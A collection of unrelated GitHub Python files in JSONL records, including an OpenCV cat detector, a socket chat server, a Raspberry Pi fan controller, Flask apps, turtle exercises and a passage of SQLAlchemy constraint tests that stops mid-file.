+{"seq_id":"21344524421","text":"import cv2 as cv\n\nframeWidth = 640\nframeHeight = 480\ncatsCascade = cv.CascadeClassifier(\"resources/haarcascade_frontalcatface_extended.xml\")\n\ncap = cv.VideoCapture(0)\ncap.set(3,frameWidth)\ncap.set(4,frameHeight)\ncap.set(10,100)\n\nsavedImgs = 0\n\nwhile True:\n    success, video = cap.read()\n    img = video.copy()\n\n    imgGray = cv.cvtColor(img, cv.COLOR_BGR2GRAY)\n    cats = catsCascade.detectMultiScale(imgGray, 1.1, 4)\n\n    for (x, y, w, h) in cats:\n        area = w*h\n        if area>500:\n            cv.rectangle(img, (x, y), (x + w, y + h), (255,0,255), 2)\n            cv.putText(img,\"Cat\",(x,y-5),cv.FONT_HERSHEY_COMPLEX_SMALL,1,(255,0,255),2)\n\n            #cv.imshow(\"ROI\", imgRoi)\n\n    if cv.waitKey(1) & 0xFF == ord('s'):\n        for (x, y, w, h) in cats:\n            area = w * h\n            if area > 500:\n                savedImgs += 1\n                imgRoi = video[y:y+h, x:x+w]\n                cv.imwrite(('savedImages/cat_'+str(savedImgs)+'.jpg'),imgRoi)\n                cv.imshow(str(savedImgs),(cv.imread('savedImages/cat_'+str(savedImgs)+'.jpg')))\n\n    cv.imshow(\"Result\", img)\n\n    if cv.waitKey(1) & 0xFF == ord('q'):\n        break","repo_name":"marcus-laia/computer_vision","sub_path":"cats detector/detectCatsWebcam.py","file_name":"detectCatsWebcam.py","file_ext":"py","file_size_in_byte":1150,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"37794401737","text":"import selectors\nimport socket\nimport traceback\nimport logging\nimport sys\n\nfrom server.client import Client\nfrom protocol.messages import ErrorMessage\n\n\nlog = logging.getLogger(__name__)\n\n\nclass MessServer:\n\n    def __init__(self, port=9090):\n        self.host = '127.0.0.1'\n        self.port = port\n        self.clients = {}  # dict {socket: <Client> instance}\n        self.socket = None\n        self._running = False\n        self.selector = selectors.DefaultSelector()\n\n    def register_client(self, conn):\n        \"\"\"\n        Register new client\n        :param conn: connection to register as a client\n        :return: None\n        \"\"\"\n        self.clients[conn.fileno()] = Client(conn, self)\n        log.info(\"Register new client: {fileno}: {client}\".format(fileno=conn.fileno(),\n                                                                  client=self.clients[conn.fileno()]))\n\n    def unregister_client(self, conn):\n        \"\"\"\n        Delete client from\n        :param conn: connection to delete from clients\n        :return: None\n        \"\"\"\n        log.info(\"Unregister client: {fileno}\".format(fileno=conn.fileno()))\n        if self.clients[conn.fileno()].user:\n            self.clients[conn.fileno()].logout()\n        del self.clients[conn.fileno()]\n\n    def on_accept(self, sock, mask):\n        \"\"\"\n        Callback for new connections\n\n        :param sock: socket to accept and register as client\n        :param mask\n        :return: None\n        \"\"\"\n        new_connection, addr = self.socket.accept()\n        log.info('accept({})'.format(addr))\n        new_connection.setblocking(False)\n        self.selector.register(fileobj=new_connection,\n                               events=selectors.EVENT_READ,\n                               data=self.on_read)\n        self.register_client(new_connection)\n\n    def on_read(self, conn, mask):\n        \"\"\"\n        Callback for read events\n        :param conn: connection to read from\n        :param mask:\n        :return: None\n        \"\"\"\n        client = self.clients[conn.fileno()]\n        try:\n            data = conn.recv(1024)\n            if data:\n                log.info('got data from {}: {!r}'.format(conn.getpeername(), data))\n                client.recv(data)\n            else:\n                self.on_close(conn)\n        except ConnectionResetError:\n            self.on_error(conn)\n        except Exception as e:\n            log.error(traceback.format_exc())\n\n    def on_error(self, conn):\n        \"\"\"\n        Handle error on connection\n        :param conn:\n        :return: None\n        \"\"\"\n        log.info('closing connection to {0}'.format(self.clients[conn.fileno()].addr))\n        self.unregister_client(conn)\n        self.selector.unregister(conn)\n        conn.close()\n\n    def on_close(self, conn):\n        \"\"\"\n        Close connection and delete client\n        :param conn: connection to close\n        :return: None\n        \"\"\"\n        log.info('closing connection to {0}'.format(self.clients[conn.fileno()].addr))\n        self.unregister_client(conn)\n        self.selector.unregister(conn)\n        conn.close()\n\n    def setup(self):\n        \"\"\"\n        Setup server, init server socket\n        :return: None\n        \"\"\"\n        self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n        self.socket.bind((self.host, self.port))\n        self.socket.listen(10)\n\n        self.clients[self.socket.fileno()] = \"SERVER\"\n        self.selector.register(fileobj=self.socket,\n                               events=selectors.EVENT_READ,\n                               data=self.on_accept)\n        self._running = True\n        log.info(\"Server({selector_impl}) is listening on {host}:{port}\".format(\n            selector_impl=type(self.selector), host=self.host, port=self.port))\n\n    def run(self):\n        \"\"\"\n        Infinite loop to handle incoming events\n        :return: None\n        \"\"\"\n        self.setup()\n\n        while self._running:\n            try:\n                events = self.selector.select()\n            except KeyboardInterrupt:\n                self.stop()\n                return\n\n            for key, mask in events:\n                try:\n                    handler = key.data\n                    handler(key.fileobj, mask)\n                except Exception:\n                    log.error(traceback.format_exc())\n                    continue\n\n    def stop(self):\n        \"\"\"\n        Stop server\n        :return: None\n        \"\"\"\n        log.warning(\"Server is stopping...\")\n        for client in [c for c in self.clients.values() if isinstance(c, Client)]:\n            client.send(ErrorMessage(err_code=repr(\"Server is stopping\".encode('utf-8'))))\n            client_conn = client.conn\n            self.on_close(client_conn)\n        self.selector.close()\n        self.socket.close()\n        self._running = False\n        sys.exit(0)\n","repo_name":"ivenn/mess","sub_path":"server/mess_server.py","file_name":"mess_server.py","file_ext":"py","file_size_in_byte":4908,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"71345945439","text":"import os\r\nimport time as timeos\r\nimport pickle\r\nfrom datetime import date, time, datetime\r\nimport RPi.GPIO as io\r\n\r\nio.setmode(io.BCM)\r\n\r\nclass Fan:\r\n    def __init__(self, pin, name):\r\n        self.pin = int(pin)\r\n        self.setupPin()\r\n\r\n        self.name = name\r\n\r\n        self.state = False\r\n\r\n        self.autoTurnOn = False\r\n        self.autoTurnOff = True\r\n        \r\n        self.turnOnTime = None\r\n        self.turnOffTime = time(hour=8, minute=0, second=0)\r\n\r\n        self.userToggleOn = False\r\n        self.userToggleOff = False\r\n\r\n\r\n    def setupPin(self):\r\n        io.setup(self.pin, io.OUT)\r\n    \r\n\r\n    def save(self, settings, new=True):\r\n        try:\r\n            if new is True:\r\n                file = open(os.path.join(os.getcwd(), str(self.name)+\".pkl\"), \"wb\")\r\n                pickle.dump(self, file)\r\n\r\n                lines = settings.readlines()\r\n                for pos, line in enumerate(lines):\r\n                    if line == \"---ACCOUNTS---\":\r\n                        lines.insert(pos+1, self.name.lower())\r\n                        break\r\n                \r\n                settings.write(self.name.lower()+\"\\n\")\r\n            else:\r\n                path = os.path.join(os.getcwd(), str(self.name)+\".pkl\")\r\n                os.remove(path)\r\n                while os.path.exists(path) is True:\r\n                    os.remove(path)\r\n                \r\n                # print(self.__dict__)\r\n                pickle.dump(self, open(path, \"wb\"))\r\n\r\n            return True\r\n        \r\n        except:\r\n            return False\r\n\r\n    \r\n    def update(self):\r\n        path = os.path.join(os.getcwd(), str(self.name)+\".pkl\")\r\n        while os.path.exists(path) is True:\r\n            os.remove(path)\r\n        \r\n        # print(self.__dict__)\r\n        pickle.dump(self, open(path, \"wb\"))\r\n\r\n\r\n    def check(self):\r\n        if self.autoTurnOff is True or self.autoTurnOn is True:\r\n            off = self.shutOffCheck()\r\n            on = self.turnOnCheck()\r\n            self.startCheck = timeos.time()\r\n\r\n            if off == False and on == False:\r\n                print(\"[ERROR] Error occurred!\\n[ERROR] Attempted to turn on or off a fan\\n[ERROR] automatically but it has failed\\n\")\r\n                print(f\"[ERROR] Variable states:\\n[ERROR] \\ton: {on}\\n[ERROR] \\toff: {off}\\n\")\r\n\r\n        if self.startCheck+100000 < timeos.time():\r\n            self.userToggleOff = False\r\n            self.userToggleOn = False\r\n\r\n\r\n    def shutOffCheck(self) -> bool:\r\n        try:\r\n            if self.state is True: # If fan is on\r\n                if self.turnOffTime is not None:\r\n                    if self.autoTurnOff is True: # If auto off is on\r\n                        now = datetime.now() # Current time\r\n                        currentTime = time( # Advanced current time\r\n                            hour=now.hour, \r\n                            minute=now.minute, \r\n                            second=now.second\r\n                        )\r\n\r\n                        # If current time is greater than the turn \r\n                        # off time and user has not toggled on their fan then\r\n                        if currentTime > self.turnOffTime and self.userToggleOn is False:\r\n                            result = self.turnOff()\r\n                            if result is True:\r\n                                print(f\"[INFO] Automatically turned off {self.name}'s fan\")\r\n                                self.state = False\r\n                                self.userToggleOff = False\r\n                                self.update()\r\n                            else:\r\n                                print(f\"[ERROR] Failed to turn off {self.name}'s fan.\\n[ERROR] Pin: {self.pin}, State: {self.state}\")\r\n                                return False\r\n            return True\r\n        \r\n        except:\r\n            return False\r\n\r\n\r\n    def turnOnCheck(self) -> bool:\r\n        try:\r\n            if self.state is False: # If fan is off\r\n                if self.autoTurnOn is True: # If auto on is on\r\n                    if self.turnOnTime is not None: # If we have a turn on time\r\n                        now = datetime.now() # Current time\r\n                        currentTime = time( # Advanced current time\r\n                            hour=now.hour, \r\n                            minute=now.minute, \r\n                            second=now.second\r\n                        )\r\n\r\n                        # If current time is greater than the turn on time and \r\n                        # user Toggle on is False\r\n                        if currentTime > self.turnOnTime and self.userToggleOff is False:\r\n                            result = self.turnOn()\r\n                            if result is True:\r\n                                print(f\"[INFO] Automatically turned on {self.name}'s fan\")\r\n                                self.state = True\r\n                                self.userToggleOn = False\r\n                                self.update()\r\n                                return True\r\n                            else:\r\n                                print(f\"[ERROR] Failed to turn on {self.name}'s fan.\\n[ERROR] Pin: {self.pin}, State: {self.state}\")\r\n                                return False\r\n            return True\r\n        \r\n        except:\r\n            return False\r\n\r\n\r\n    def turnOn(self):\r\n        try:\r\n            io.output(self.pin, 1)\r\n            self.state = True\r\n\r\n        except:\r\n            self.state = False\r\n\r\n        finally:\r\n            self.userToggleOn = True\r\n            return self.state # Or false depending on if it worked\r\n\r\n\r\n    def turnOff(self):\r\n        try:\r\n            io.output(self.pin, 0)\r\n            self.state = True\r\n\r\n        except:\r\n            self.state = False\r\n            \r\n        finally:\r\n            self.userToggleOn = True\r\n            return not self.state # Or false depending on if it worked\r\n\r\n\r\n    def isFanOn(self):\r\n        return self.state\r\n\r\n","repo_name":"CommanderKV/fanManager","sub_path":"FAN.py","file_name":"FAN.py","file_ext":"py","file_size_in_byte":5951,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"20250517564","text":"import argparse\nimport pathlib\nfrom pathlib import Path\nfrom tqdm import tqdm\nfrom convert_label import read_lab\n\n\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser()\n    parser.add_argument('lab',type=str,help='path to lab files. this program searchs for .lab files in specified directory and subdirectories')\n    parser.add_argument('output',type=str,help='path to output accent and tg file')\n    parser.add_argument('speaker',type=str,help='speaker name')\n\n    args = parser.parse_args()\n    lab_files = pathlib.Path(args.lab).glob('**/*.lab')\n\n    # create output directory\n    tg_dir = (Path(args.output) / 'TextGrid'/args.speaker)\n    if not tg_dir.exists():\n        tg_dir.mkdir(parents=True)\n\n    # iter through lab files\n    for lab_file in tqdm(lab_files):\n        label = read_lab(str(lab_file))\n        textgridFilePath = tg_dir/lab_file.with_suffix('.TextGrid').name\n        label.to_textgrid(textgridFilePath)\n\n        \n\n    \n","repo_name":"Yoshifumi-Nakano/visual-text-to-speech","sub_path":"prepare_tg.py","file_name":"prepare_tg.py","file_ext":"py","file_size_in_byte":954,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"51"}
+{"seq_id":"38375969019","text":"import unittest\n\ndef first_non_repeating_letter(str):\n\n    #stores the frequency of the letter\n    frequency_table = {}\n\n    #lower case representation of the word\n    lc_word = str.lower()\n\n    word_length = len(lc_word)\n\n    #if the letter is found for the first time then\n    #initialize the key-value in the dictionary\n    #else increase the frequency\n    for i in range(0, word_length):\n        if lc_word[i] in frequency_table:\n            frequency_table[lc_word[i]] += 1\n        else:\n            frequency_table[lc_word[i]] = 1\n\n    #return the letter in the correct case if it is non-repeated\n    for i in range(0, word_length):\n        if frequency_table[lc_word[i]] == 1:\n            return str[i]\n\nclass Test(unittest.TestCase):\n    def test_should_handle_simple_tests(self):\n        self.assertEqual(first_non_repeating_letter(\"a\"), \"a\")\n        self.assertEqual(first_non_repeating_letter(\"stress\"), \"t\")\n        self.assertEqual(first_non_repeating_letter(\"moonmen\"), \"e\")\n\n\nif __name__ == '__main__':\n    unittest.main()\n","repo_name":"sjishan/strtest","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1038,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"7780863850","text":"#!/bin/python3\n\n\nclass Code():\n\tx = [1, 2, 3, 4, 5]\n\n\tdef __init__(self, unicode, task=None):\n\t\tself.unicode = unicode\n\t\tself.task = task\n\n\tdef main(self):\n\t\ttry:\n\t\t\tpress = int(input(\"Enter the unicode value [1, 2, 3, 4, 5] :- \"))\n\t\t\tx = [1, 2, 3, 4, 5]\n\t\t\tif press in x:\n\t\t\t\treturn \"Your code is right.\"\n\t\t\telif press > 5:\n\t\t\t\treturn \"Enter digit between 1 to 5.\"\n\t\t\telse:\n\t\t\t\treturn \"Kindly follow procedures.\"\n\t\texcept Exception as err:\n\t\t\treturn \"Enter only digit b/w 1 to 5.\"\nif __name__ == \"__main__\":\n\ty = Code(\"one\")\n\tz = y.main()\n\tprint(z)\n","repo_name":"Tej-Singh-Rana/Python2020","sub_path":"covid_3.py","file_name":"covid_3.py","file_ext":"py","file_size_in_byte":550,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"73743273118","text":"from flask_wtf import FlaskForm\nfrom wtforms import StringField, FileField, SubmitField, SelectField\nfrom wtforms.validators import DataRequired\n\n\nclass FileUploadForm(FlaskForm):\n    file_upload = FileField('Выберите файл', validators=[DataRequired()])\n    submit = SubmitField('Go')\n\n\nclass ConfigForm(FlaskForm):\n    sheet_name = SelectField('Страница с таблицей', validators=[DataRequired()])\n    sheet_price_name = SelectField('Страница с ценами', validators=[DataRequired()])\n    row_number = SelectField('Строка с материалами', choices=[])\n    separate_symbol = StringField('Символ разделитель', validators=[DataRequired()])\n    submit = SubmitField('Go')\n\n\nclass DownloadForm(FlaskForm):\n    submit = SubmitField('Download')\n\n\ndef get_select_field_list(data_list):\n    if isinstance(data_list[0], list):\n        result = [(i, i) for i in range(1, len(data_list) + 1)]\n    else:\n        result = [(i, i) for i in data_list]\n    return result\n","repo_name":"GeorgiyII/excell_lib","sub_path":"service_app/domain/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1028,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"73773461277","text":"#!/usr/bin/env python3\n\n\"\"\"\nThis module contains the Logger class which is responsible for logging.\nThis class is a small wrapper around the Python logging module to automatically\nconfigure the loggers and handle unittest logging.\n\"\"\"\n\nimport os\nimport sys\nimport logging\n\nLOG_FILE_NAME = 'log.txt'\nLOGGER_FORMAT_FILE = '[%(asctime)s] %(levelname)-8s %(message)-s'\nLOGGER_FORMAT_CONSOLE = '%(levelname)s: %(message)s'\n\n\nclass Logger:\n    \"\"\"Log messages to a log file and console.\"\"\"\n\n    def __init__(self, name: str, directory: str, verbose: bool):\n        \"\"\"Creates an instance of the Logger class.\n\n        During unittests, the `UNITTEST` environment variable is set which\n        disables the console logger.\n\n        Parameters\n        ----------\n        name : str\n            Name of the logger\n        directory : str\n            The path to the directory where the logs must be stored.\n        verbose : bool\n            Enable verbose logs\n        \"\"\"\n        self._logger = logging.getLogger(name)\n\n        # Configure logging level\n        self._verbose = verbose\n        level = logging.INFO\n        if self._verbose:\n            level = logging.DEBUG\n        self._logger.setLevel(level)\n\n        # Disable default handlers\n        handlers = self._logger.handlers\n        for h in handlers:\n            self._logger.removeHandler(h)\n\n        # Configure handlers\n        directory = os.path.abspath(directory)\n        os.makedirs(directory, exist_ok=True)\n        log_file = logging.FileHandler(os.path.join(directory, LOG_FILE_NAME))\n        log_file.setLevel(logging.DEBUG)\n        format_file = logging.Formatter(LOGGER_FORMAT_FILE)\n        log_file.setFormatter(format_file)\n        self._logger.addHandler(log_file)\n\n        # Silence console logging during unittests, logs are available in the\n        # log file anyway\n        if os.environ.get('UNITTEST') is None:\n            log_console = logging.StreamHandler(sys.stderr)\n            log_console.setLevel(level)\n            format_console = logging.Formatter(LOGGER_FORMAT_CONSOLE)\n            log_console.setFormatter(format_console)\n            self._logger.addHandler(log_console)\n\n        level_name = logging.getLevelName(self._logger.level)\n        self._logger.info(f'Logger ({level_name}) initialized for {name}')\n\n    def __del__(self):\n        \"\"\"Close any handlers if needed\"\"\"\n        handlers = self._logger.handlers\n        for h in handlers:\n            try:\n                h.close()\n            except AttributeError:\n                pass\n            self._logger.removeHandler(h)\n\n    @property\n    def verbose(self) -> bool:\n        \"\"\"Verbose logging enabled.\n\n        Returns\n        -------\n        verbose : bool\n            Verbose logging enabled or not.\n        \"\"\"\n        return self._verbose\n\n    def debug(self, msg):\n        \"\"\"Log a message with level DEBUG.\"\"\"\n        self._logger.debug(msg)\n\n    def info(self, msg):\n        \"\"\"Log a message with level INFO.\"\"\"\n        self._logger.info(msg)\n\n    def warning(self, msg):\n        \"\"\"Log a message with level WARNING.\"\"\"\n        self._logger.warning(msg)\n\n    def error(self, msg):\n        \"\"\"Log a message with level ERROR.\"\"\"\n        self._logger.error(msg)\n","repo_name":"kg-construct/exectool","sub_path":"bench_executor/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":3223,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"51"}
+{"seq_id":"23482837778","text":"#!usr/bin/env python3.9\n\nimport itertools\nimport math\nimport sys\nfrom collections import Counter, defaultdict, deque\nfrom typing import Optional\n\nsys.setrecursionlimit(9999999)\n\n\ndef get_input():\n    with open(\"sample.txt\", \"r\") as f:\n        return [x.strip() for x in f.readlines()]\n\n\nalgorithm = get_input()[0]\ngrid = get_input()[2:]\n\nm = {\n    \".\": 0,\n    \"#\": 1,\n}\n\ngrid = [[m[x] for x in line] for line in grid]\n\n\ndef get_output(grid, x, y):\n    code = \"\"\n    for (i, j) in itertools.product((-1, 0, 1), (-1, 0, 1)):\n        if 0 <= x + i < len(grid) and 0 <= y + j < len(grid[0]):\n            code += str(grid[x + i][y + j])\n        else:\n            code += \"0\"\n    code_number = int(code, 2)\n    position_in_algorithm = algorithm[code_number]\n    result = m[position_in_algorithm]\n    # print(x, y, \"->\", position_in_algorithm, code)\n    return result\n\n\nlight_points = []\nfor _ in range(2):\n    light_points = [(i, j) for i, line in enumerate(grid) for j, _ in enumerate(line) if x == 1]\n    for i in range(len(grid)):\n        for j in range(len(grid[0])):\n            output_grid[i][j] = get_output(grid, i, j)\n\n    grid = output_grid\n\n# n = {\n#     0: \".\",\n#     1: \"#\",\n# }\n# for i in range(len(grid)):\n#     for j in range(len(grid[0])):\n#         print(n[grid[i][j]], end=\"\")\n#     print()\n\nprint(sum(line.count(1) for line in grid))\n","repo_name":"luisiacc/advent-of-code-2021","sub_path":"day20/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1348,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"8646895976","text":"import turtle\nfrom turtle import Turtle, Screen\nimport random\n\ndef draw_a_square():\n    for _ in range(4):\n        sam.right(90)\n        sam.forward(100)\n\ndef draw_a_dashed_line():\n    for _ in range(50):\n        sam.forward(5)\n        sam.penup()\n        sam.forward(5)\n        sam.pendown()\n\ndef draw_shapes():\n    i = 3\n    j = 8\n\n    if i <= 10:\n        for _ in range(j):\n            change_color()\n            for _ in range(i):\n                angle = 360 / i\n                sam.right(angle)\n                sam.forward(100)\n            i += 1\n\ndef change_color():\n    R = random.random()\n    G = random.random()\n    B = random.random()\n    sam.pencolor(R,G,B)\n\ndef change_color_2():\n    turtle.colormode(255)\n    r = random.randint(0,255)\n    g = random.randint(0, 255)\n    b = random.randint(0, 255)\n    sam.pencolor(r, g, b)\ndef draw_a_random_walk():\n    sam.pensize(10)\n    directions = [0, 90, 180, 270]\n    change_color_2()\n    sam.forward(50)\n    sam.setheading(random.choice(directions))\n\ndef make_a_spirograph(angle):\n    nr_of_circles = 360 / angle\n\n    for _ in range(int(nr_of_circles)):\n        sam.circle(100)\n        sam.right(angle)\n        change_color_2()\n\nsam = Turtle()\nsam.shape(\"turtle\")\nsam.speed(\"fastest\")\nsam.color(\"green\")\n\n# challenge 1\n# draw_a_square()\n\n# challenge 2\n# draw_a_dashed_line()\n\n# challenge 3\n# draw_shapes()\n\n# challenge 4\n# for _ in range(100):\n#     draw_a_random_walk()\n\n# challenge 5\nmake_a_spirograph(7)\n\nscreen = Screen()\nscreen.exitonclick()","repo_name":"Kasiullinek/Python-projects","sub_path":"day-18-start/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1500,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"3662845149","text":"from flask import Flask, render_template, request, redirect\nfrom flask_sqlalchemy import SQLAlchemy\n\napp = Flask(__name__)\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///employees.db'\ndb = SQLAlchemy(app)\n\nclass Employee(db.Model):\n    id = db.Column(db.Integer, primary_key=True)\n    name = db.Column(db.String(100), nullable=False)\n    salary = db.Column(db.Float, nullable=False)\n    address = db.Column(db.String(100), nullable=False)\n\nwith app.app_context():\n    db.create_all()\n\n@app.route('/')\ndef home():\n    employees = Employee.query.all()\n    return render_template('home.html', employees=employees)\n\n@app.route('/create', methods=['POST', 'GET'])\ndef create():\n    if request.method == 'POST':\n        name = request.form['name']\n        salary = request.form['salary']\n        address = request.form['address']\n        employee = Employee(name=name, salary=salary, address=address)\n        db.session.add(employee)\n        db.session.commit()\n        return redirect('/')\n    return render_template('create.html')\n\n@app.route('/read/<int:id>')\ndef read(id):\n    employee = Employee.query.get(id)\n    return render_template('read.html', employee=employee)\n\n@app.route('/update/<int:id>', methods=['POST', 'GET'])\ndef update(id):\n    employee = Employee.query.get(id)\n    if request.method == 'POST':\n        employee.name = request.form['name']\n        employee.salary = request.form['salary']\n        employee.address = request.form['address']\n        db.session.commit()\n        return redirect('/')\n    return render_template('update.html', employee=employee)\n\n@app.route('/delete/<int:id>')\ndef delete(id):\n    employee = Employee.query.get(id)\n    db.session.delete(employee)\n    db.session.commit()\n    return redirect('/')\n\nif __name__ == '__main__':\n    app.run(debug=True)\n","repo_name":"QTanweer/Employees-CRUD","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1798,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"21215689636","text":"from test.lib.testing import assert_raises, assert_raises_message\nfrom sqlalchemy import *\nfrom sqlalchemy import exc, schema\nfrom test.lib import *\nfrom test.lib import config, engines\nfrom sqlalchemy.engine import ddl\nfrom test.lib.testing import eq_\nfrom test.lib.assertsql import AllOf, RegexSQL, ExactSQL, CompiledSQL\nfrom sqlalchemy.dialects.postgresql import base as postgresql\n\nclass ConstraintTest(fixtures.TestBase, AssertsExecutionResults, AssertsCompiledSQL):\n\n    def setup(self):\n        global metadata\n        metadata = MetaData(testing.db)\n\n    def teardown(self):\n        metadata.drop_all()\n\n    def test_constraint(self):\n        employees = Table('employees', metadata,\n            Column('id', Integer),\n            Column('soc', String(40)),\n            Column('name', String(30)),\n            PrimaryKeyConstraint('id', 'soc')\n            )\n        elements = Table('elements', metadata,\n            Column('id', Integer),\n            Column('stuff', String(30)),\n            Column('emp_id', Integer),\n            Column('emp_soc', String(40)),\n            PrimaryKeyConstraint('id', name='elements_primkey'),\n            ForeignKeyConstraint(['emp_id', 'emp_soc'], ['employees.id', 'employees.soc'])\n            )\n        metadata.create_all()\n\n    def test_double_fk_usage_raises(self):\n        f = ForeignKey('b.id')\n\n        Column('x', Integer, f)\n        assert_raises(exc.InvalidRequestError, Column, \"y\", Integer, f)\n\n    def test_circular_constraint(self):\n        a = Table(\"a\", metadata,\n            Column('id', Integer, primary_key=True),\n            Column('bid', Integer),\n            ForeignKeyConstraint([\"bid\"], [\"b.id\"], name=\"afk\")\n            )\n        b = Table(\"b\", metadata,\n            Column('id', Integer, primary_key=True),\n            Column(\"aid\", Integer),\n            ForeignKeyConstraint([\"aid\"], [\"a.id\"], use_alter=True, name=\"bfk\")\n            )\n        metadata.create_all()\n\n    def test_circular_constraint_2(self):\n        a = Table(\"a\", metadata,\n            Column('id', Integer, primary_key=True),\n            Column('bid', Integer, ForeignKey(\"b.id\")),\n            )\n        b = Table(\"b\", metadata,\n            Column('id', Integer, primary_key=True),\n            Column(\"aid\", Integer, ForeignKey(\"a.id\", use_alter=True, name=\"bfk\")),\n            )\n        metadata.create_all()\n\n    @testing.fails_on('mysql', 'FIXME: unknown')\n    def test_check_constraint(self):\n        foo = Table('foo', metadata,\n            Column('id', Integer, primary_key=True),\n            Column('x', Integer),\n            Column('y', Integer),\n            CheckConstraint('x>y'))\n        bar = Table('bar', metadata,\n            Column('id', Integer, primary_key=True),\n            Column('x', Integer, CheckConstraint('x>7')),\n            Column('z', Integer)\n            )\n\n        metadata.create_all()\n        foo.insert().execute(id=1,x=9,y=5)\n        assert_raises(exc.DBAPIError, foo.insert().execute, id=2,x=5,y=9)\n        bar.insert().execute(id=1,x=10)\n        assert_raises(exc.DBAPIError, bar.insert().execute, id=2,x=5)\n\n    def test_unique_constraint(self):\n        foo = Table('foo', metadata,\n            Column('id', Integer, primary_key=True),\n            Column('value', String(30), unique=True))\n        bar = Table('bar', metadata,\n            Column('id', Integer, primary_key=True),\n            Column('value', String(30)),\n            Column('value2', String(30)),\n            UniqueConstraint('value', 'value2', name='uix1')\n            )\n        metadata.create_all()\n        foo.insert().execute(id=1, value='value1')\n        foo.insert().execute(id=2, value='value2')\n        bar.insert().execute(id=1, value='a', value2='a')\n        bar.insert().execute(id=2, value='a', value2='b')\n        assert_raises(exc.DBAPIError, foo.insert().execute, id=3, value='value1')\n        assert_raises(exc.DBAPIError, bar.insert().execute, id=3, value='a', value2='b')\n\n    def test_index_create(self):\n        employees = Table('employees', metadata,\n                          Column('id', Integer, primary_key=True),\n                          Column('first_name', String(30)),\n                          Column('last_name', String(30)),\n                          Column('email_address', String(30)))\n        employees.create()\n\n        i = Index('employee_name_index',\n                  employees.c.last_name, employees.c.first_name)\n        i.create()\n        assert i in employees.indexes\n\n        i2 = Index('employee_email_index',\n                   employees.c.email_address, unique=True)\n        i2.create()\n        assert i2 in employees.indexes\n\n    def test_index_create_camelcase(self):\n        \"\"\"test that mixed-case index identifiers are legal\"\"\"\n\n        employees = Table('companyEmployees', metadata,\n                          Column('id', Integer, primary_key=True),\n                          Column('firstName', String(30)),\n                          Column('lastName', String(30)),\n                          Column('emailAddress', String(30)))\n\n        employees.create()\n\n        i = Index('employeeNameIndex',\n                  employees.c.lastName, employees.c.firstName)\n        i.create()\n\n        i = Index('employeeEmailIndex',\n                  employees.c.emailAddress, unique=True)\n        i.create()\n\n        # Check that the table is useable. This is mostly for pg,\n        # which can be somewhat sticky with mixed-case identifiers\n        employees.insert().execute(firstName='Joe', lastName='Smith', id=0)\n        ss = employees.select().execute().fetchall()\n        assert ss[0].firstName == 'Joe'\n        assert ss[0].lastName == 'Smith'\n\n    def test_index_create_inline(self):\n        \"\"\"Test indexes defined with tables\"\"\"\n\n        events = Table('events', metadata,\n                       Column('id', Integer, primary_key=True),\n                       Column('name', String(30), index=True, unique=True),\n                       Column('location', String(30), index=True),\n                       Column('sport', String(30)),\n                       Column('announcer', String(30)),\n                       Column('winner', String(30)))\n\n        Index('sport_announcer', events.c.sport, events.c.announcer, unique=True)\n        Index('idx_winners', events.c.winner)\n\n        eq_(\n            set([ ix.name for ix in events.indexes ]),\n            set(['ix_events_name', 'ix_events_location', 'sport_announcer', 'idx_winners'])\n        )\n\n        self.assert_sql_execution(\n            testing.db,\n            lambda: events.create(testing.db),\n            RegexSQL(\"^CREATE TABLE events\"),\n            AllOf(\n                ExactSQL('CREATE UNIQUE INDEX ix_events_name ON events (name)'),\n                ExactSQL('CREATE INDEX ix_events_location ON events (location)'),\n                ExactSQL('CREATE UNIQUE INDEX sport_announcer ON events (sport, announcer)'),\n                ExactSQL('CREATE INDEX idx_winners ON events (winner)')\n            )\n        )\n\n        # verify that the table is functional\n        events.insert().execute(id=1, name='hockey finals', location='rink',\n                                sport='hockey', announcer='some canadian',\n                                winner='sweden')\n        ss = events.select().execute().fetchall()\n\n    def test_too_long_idx_name(self):\n        dialect = testing.db.dialect.__class__()\n\n        for max_ident, max_index in [(22, None), (256, 22)]:\n            dialect.max_identifier_length = max_ident\n            dialect.max_index_name_length = max_index\n\n            for tname, cname, exp in [\n                ('sometable', 'this_name_is_too_long', 'ix_sometable_t_09aa'),\n                ('sometable', 'this_name_alsois_long', 'ix_sometable_t_3cf1'),\n            ]:\n\n                t1 = Table(tname, MetaData(), \n                            Column(cname, Integer, index=True),\n                        )\n                ix1 = list(t1.indexes)[0]\n\n                self.assert_compile(\n                    schema.CreateIndex(ix1),\n                    \"CREATE INDEX %s \"\n                    \"ON %s (%s)\" % (exp, tname, cname),\n                    dialect=dialect\n                )\n\n        dialect.max_identifier_length = 22\n        dialect.max_index_name_length = None\n\n        t1 = Table('t', MetaData(), Column('c', Integer))\n        assert_raises(\n            exc.IdentifierError,\n            schema.CreateIndex(Index(\n                        